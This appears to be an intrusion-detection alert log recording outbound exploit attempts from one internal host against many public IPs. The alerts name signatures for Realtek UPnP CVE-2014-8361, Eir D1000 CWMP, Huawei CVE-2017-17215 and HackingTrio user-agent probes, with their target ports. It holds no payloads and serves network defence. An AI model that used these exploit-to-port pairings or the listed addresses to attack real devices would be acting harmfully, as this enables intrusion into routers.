ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 95.14.124.70

Timestamp:	04/15/24-08:53:57.251599
SID:	2027339
Source Port:	46502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.147.219.44

Timestamp:	04/15/24-08:52:28.647353
SID:	2023548
Source Port:	53242
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.254.135.9

Timestamp:	04/15/24-08:53:05.094758
SID:	2023548
Source Port:	39712
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.155.149.130

Timestamp:	04/15/24-08:52:46.056188
SID:	2025132
Source Port:	40592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.96.146.154

Timestamp:	04/15/24-08:53:50.389156
SID:	2025576
Source Port:	40032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.248.78.18

Timestamp:	04/15/24-08:52:15.747783
SID:	2027339
Source Port:	54266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 111.92.62.176

Timestamp:	04/15/24-08:52:56.053759
SID:	2023548
Source Port:	55102
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.224.134.240

Timestamp:	04/15/24-08:52:39.644518
SID:	2025576
Source Port:	33082
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 154.36.176.48

Timestamp:	04/15/24-08:53:37.851263
SID:	2025576
Source Port:	36692
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.104.183.34

Timestamp:	04/15/24-08:53:07.529103
SID:	2023548
Source Port:	34448
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.211.165.240

Timestamp:	04/15/24-08:53:02.987725
SID:	2025576
Source Port:	37706
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 81.199.207.140

Timestamp:	04/15/24-08:52:23.274447
SID:	2831300
Source Port:	40658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 1.140.19.46

Timestamp:	04/15/24-08:53:24.590520
SID:	2023548
Source Port:	59766
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.145.209

Timestamp:	04/15/24-08:52:54.840185
SID:	2023548
Source Port:	42004
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 74.141.209.0

Timestamp:	04/15/24-08:52:49.662276
SID:	2023548
Source Port:	50456
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.4.228.22

Timestamp:	04/15/24-08:52:51.016802
SID:	2023548
Source Port:	56632
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 68.105.123.207

Timestamp:	04/15/24-08:53:21.440853
SID:	2023548
Source Port:	48360
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 94.121.129.98

Timestamp:	04/15/24-08:52:30.968124
SID:	2027339
Source Port:	36180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.115.182.36

Timestamp:	04/15/24-08:53:32.072183
SID:	2023548
Source Port:	60116
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 120.198.22.114

Timestamp:	04/15/24-08:53:05.147820
SID:	2023548
Source Port:	59972
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 203.99.106.59

Timestamp:	04/15/24-08:53:24.201228
SID:	2831300
Source Port:	55110
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 160.141.82.82

Timestamp:	04/15/24-08:52:59.821986
SID:	2831300
Source Port:	56256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.137.161

Timestamp:	04/15/24-08:53:37.775015
SID:	2023548
Source Port:	44980
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.94.203.30

Timestamp:	04/15/24-08:53:51.462238
SID:	2023548
Source Port:	32900
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.195.32.239

Timestamp:	04/15/24-08:52:43.885913
SID:	2025576
Source Port:	47538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.219.242.166

Timestamp:	04/15/24-08:52:13.844925
SID:	2023548
Source Port:	39944
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 43.249.223.181

Timestamp:	04/15/24-08:53:00.864826
SID:	2023548
Source Port:	58206
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 200.114.231.19

Timestamp:	04/15/24-08:52:34.894999
SID:	2023548
Source Port:	56508
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.31.153.220

Timestamp:	04/15/24-08:52:57.472624
SID:	2023548
Source Port:	60628
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.222.190.222

Timestamp:	04/15/24-08:52:39.978474
SID:	2023548
Source Port:	37514
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.142.104.24

Timestamp:	04/15/24-08:52:58.511855
SID:	2023548
Source Port:	59342
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.26.220.214

Timestamp:	04/15/24-08:53:11.335452
SID:	2023548
Source Port:	52000
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 116.206.128.152

Timestamp:	04/15/24-08:53:53.144599
SID:	2023548
Source Port:	36064
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.41.86.210

Timestamp:	04/15/24-08:53:10.417508
SID:	2023548
Source Port:	37804
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.31.147.68

Timestamp:	04/15/24-08:52:55.103662
SID:	2023548
Source Port:	35658
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.152.8.53

Timestamp:	04/15/24-08:53:33.075996
SID:	2023548
Source Port:	46788
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 152.171.203.31

Timestamp:	04/15/24-08:53:18.960733
SID:	2023548
Source Port:	55572
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 210.113.21.2

Timestamp:	04/15/24-08:53:58.654160
SID:	2023548
Source Port:	57328
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.52.71.152

Timestamp:	04/15/24-08:53:22.562950
SID:	2023548
Source Port:	44874
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.33.243.128

Timestamp:	04/15/24-08:53:57.016612
SID:	2023548
Source Port:	60926
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.236.113.223

Timestamp:	04/15/24-08:52:44.768591
SID:	2023548
Source Port:	52718
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.192.121.245

Timestamp:	04/15/24-08:52:45.902685
SID:	2023548
Source Port:	47458
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.171.141.228

Timestamp:	04/15/24-08:53:30.121156
SID:	2023548
Source Port:	57134
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.139.105.162

Timestamp:	04/15/24-08:52:16.749160
SID:	2023548
Source Port:	40388
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.49.166.97

Timestamp:	04/15/24-08:53:50.761774
SID:	2025576
Source Port:	52602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.249.156.218

Timestamp:	04/15/24-08:52:23.281053
SID:	2023548
Source Port:	46754
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.252.234.138

Timestamp:	04/15/24-08:53:57.193046
SID:	2025576
Source Port:	41254
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.85.6.102

Timestamp:	04/15/24-08:53:56.354493
SID:	2023548
Source Port:	50834
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 50.2.189.10

Timestamp:	04/15/24-08:53:21.899229
SID:	2025576
Source Port:	56282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.155.149.130

Timestamp:	04/15/24-08:52:46.056188
SID:	2027339
Source Port:	40592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 109.36.156.187

Timestamp:	04/15/24-08:53:21.499940
SID:	2831300
Source Port:	46356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 210.128.101.201

Timestamp:	04/15/24-08:53:47.616362
SID:	2831300
Source Port:	42278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.73.239.115

Timestamp:	04/15/24-08:52:19.738493
SID:	2023548
Source Port:	52738
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.70.29.201

Timestamp:	04/15/24-08:53:18.302285
SID:	2023548
Source Port:	37446
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.255.165.175

Timestamp:	04/15/24-08:53:37.810387
SID:	2023548
Source Port:	41730
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 173.232.186.204

Timestamp:	04/15/24-08:53:50.762349
SID:	2025576
Source Port:	57810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.120.65.215

Timestamp:	04/15/24-08:53:10.442333
SID:	2023548
Source Port:	57810
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.251.149.88

Timestamp:	04/15/24-08:53:31.732769
SID:	2023548
Source Port:	43628
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.189.160.241

Timestamp:	04/15/24-08:52:16.171363
SID:	2023548
Source Port:	37612
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.25.133.124

Timestamp:	04/15/24-08:52:57.727408
SID:	2023548
Source Port:	57578
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.189.46.200

Timestamp:	04/15/24-08:52:44.732336
SID:	2023548
Source Port:	56220
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 169.44.61.246

Timestamp:	04/15/24-08:52:52.443827
SID:	2025576
Source Port:	53016
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.191.199.13

Timestamp:	04/15/24-08:52:57.133743
SID:	2023548
Source Port:	56254
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.255.233.240

Timestamp:	04/15/24-08:52:14.200502
SID:	2023548
Source Port:	57738
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.221.55.205

Timestamp:	04/15/24-08:52:45.979820
SID:	2023548
Source Port:	36870
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.0.222.101

Timestamp:	04/15/24-08:52:28.861888
SID:	2023548
Source Port:	56680
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.63.39.155

Timestamp:	04/15/24-08:53:37.441572
SID:	2023548
Source Port:	58448
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.187.9.45

Timestamp:	04/15/24-08:52:19.651997
SID:	2023548
Source Port:	58818
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.41.251

Timestamp:	04/15/24-08:53:29.678722
SID:	2023548
Source Port:	58144
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 5.12.84.240

Timestamp:	04/15/24-08:53:49.393533
SID:	2025576
Source Port:	40008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.218.225.190

Timestamp:	04/15/24-08:53:21.865099
SID:	2023548
Source Port:	60204
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.140.76.86

Timestamp:	04/15/24-08:52:22.514767
SID:	2023548
Source Port:	48278
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.85.46.227

Timestamp:	04/15/24-08:52:36.382522
SID:	2023548
Source Port:	52664
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.123.49.193

Timestamp:	04/15/24-08:53:17.993346
SID:	2023548
Source Port:	44370
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.87.177.239

Timestamp:	04/15/24-08:52:44.397813
SID:	2023548
Source Port:	37604
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 98.151.113.169

Timestamp:	04/15/24-08:53:49.656264
SID:	2025576
Source Port:	60600
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.75.96.121

Timestamp:	04/15/24-08:53:14.478759
SID:	2023548
Source Port:	37950
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 211.40.85.3

Timestamp:	04/15/24-08:52:47.744212
SID:	2025576
Source Port:	36684
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.251.136.101

Timestamp:	04/15/24-08:53:48.270178
SID:	2023548
Source Port:	47910
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.203.67.40

Timestamp:	04/15/24-08:53:50.777572
SID:	2023548
Source Port:	60736
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 24.213.101.176

Timestamp:	04/15/24-08:53:53.000148
SID:	2023548
Source Port:	39020
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 180.255.6.90

Timestamp:	04/15/24-08:53:41.234146
SID:	2025576
Source Port:	54660
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.30.207.184

Timestamp:	04/15/24-08:53:56.344675
SID:	2023548
Source Port:	54426
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 52.89.68.19

Timestamp:	04/15/24-08:53:34.943546
SID:	2025576
Source Port:	52288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.84.221.187

Timestamp:	04/15/24-08:52:40.443386
SID:	2023548
Source Port:	51950
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 34.43.81.131

Timestamp:	04/15/24-08:53:27.857247
SID:	2829579
Source Port:	54258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 94.121.129.98

Timestamp:	04/15/24-08:52:30.968124
SID:	2025132
Source Port:	36180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 186.7.171.100

Timestamp:	04/15/24-08:52:29.427149
SID:	2025576
Source Port:	36920
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 112.84.130.47

Timestamp:	04/15/24-08:53:16.668836
SID:	2025576
Source Port:	56412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.156.212.192

Timestamp:	04/15/24-08:53:37.744390
SID:	2023548
Source Port:	32936
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 93.81.145.250

Timestamp:	04/15/24-08:52:26.169053
SID:	2023548
Source Port:	54110
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.160.1.86

Timestamp:	04/15/24-08:53:21.495005
SID:	2025576
Source Port:	35558
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.156.212.192

Timestamp:	04/15/24-08:53:37.439682
SID:	2023548
Source Port:	32916
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 138.136.133.160

Timestamp:	04/15/24-08:53:15.451288
SID:	2025132
Source Port:	56688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 5.17.192.77

Timestamp:	04/15/24-08:53:26.999713
SID:	2025576
Source Port:	33408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 52.194.49.108

Timestamp:	04/15/24-08:53:41.702095
SID:	2025576
Source Port:	51486
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.230.4.69

Timestamp:	04/15/24-08:52:30.793523
SID:	2023548
Source Port:	42780
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.181.149.181

Timestamp:	04/15/24-08:52:49.468018
SID:	2023548
Source Port:	41364
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.210.102.135

Timestamp:	04/15/24-08:53:10.815418
SID:	2023548
Source Port:	56914
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.190.36.35

Timestamp:	04/15/24-08:53:54.288823
SID:	2023548
Source Port:	40852
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 38.207.119.50

Timestamp:	04/15/24-08:53:24.169929
SID:	2025132
Source Port:	45614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 34.117.243.93

Timestamp:	04/15/24-08:53:48.692722
SID:	2023548
Source Port:	51968
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.248.156.166

Timestamp:	04/15/24-08:52:37.803185
SID:	2023548
Source Port:	38522
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.6.156.139

Timestamp:	04/15/24-08:52:56.486271
SID:	2023548
Source Port:	54382
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.174.157.147

Timestamp:	04/15/24-08:53:16.657032
SID:	2025576
Source Port:	41760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.64.16.28

Timestamp:	04/15/24-08:53:48.863663
SID:	2023548
Source Port:	33166
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 188.138.203.45

Timestamp:	04/15/24-08:53:42.897770
SID:	2023548
Source Port:	45988
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 172.65.91.68

Timestamp:	04/15/24-08:53:41.202468
SID:	2831300
Source Port:	56404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

